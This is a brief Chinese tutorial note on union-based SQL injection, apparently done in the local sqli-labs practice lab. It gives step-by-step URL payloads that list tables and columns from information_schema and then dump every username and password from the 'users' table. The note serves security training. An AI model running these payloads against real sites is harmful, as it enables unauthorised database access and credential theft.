【SQL注入-union注入】

union注入的最终目标是拿到靶机中数据库里的所有用户名和密码

（1）database（）知道所在的数据库

（2）拿到表名和列名

        数据库：在MySQL中，information_schema 数据库包含MySQL数据库的简要信息，其中包含有两个所需数据表，一个是tables-表名集合表,一个是columns-列名集合表

查询表名：

http://127.0.0.1/sql/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables --+（会显示MySQL里所有的数据库包含的所有表名）

http://127.0.0.1/sql/Less-1/?id=-1' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+（只显示当前查询所在数据库里的表名，但无法完全显示出来，因而需要用到group_concat（）函数）

group_concat()函数的作用：确保所有查询信息能放到一行显示出来

http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

（1）最终查询结果，所在数据库security下的所有表名

 查询列名：

http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() --+

（1）最终查询结果，所在数据库下所有表包含的所有列名

 http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+

（1）最终查询结果，users表下的所有列名

 http://127.0.0.1/sql/Less-1/?id=-1' union select 1,group_concat(username,'-',password),3 from users --+

（1）成功拿到用户名和对应密码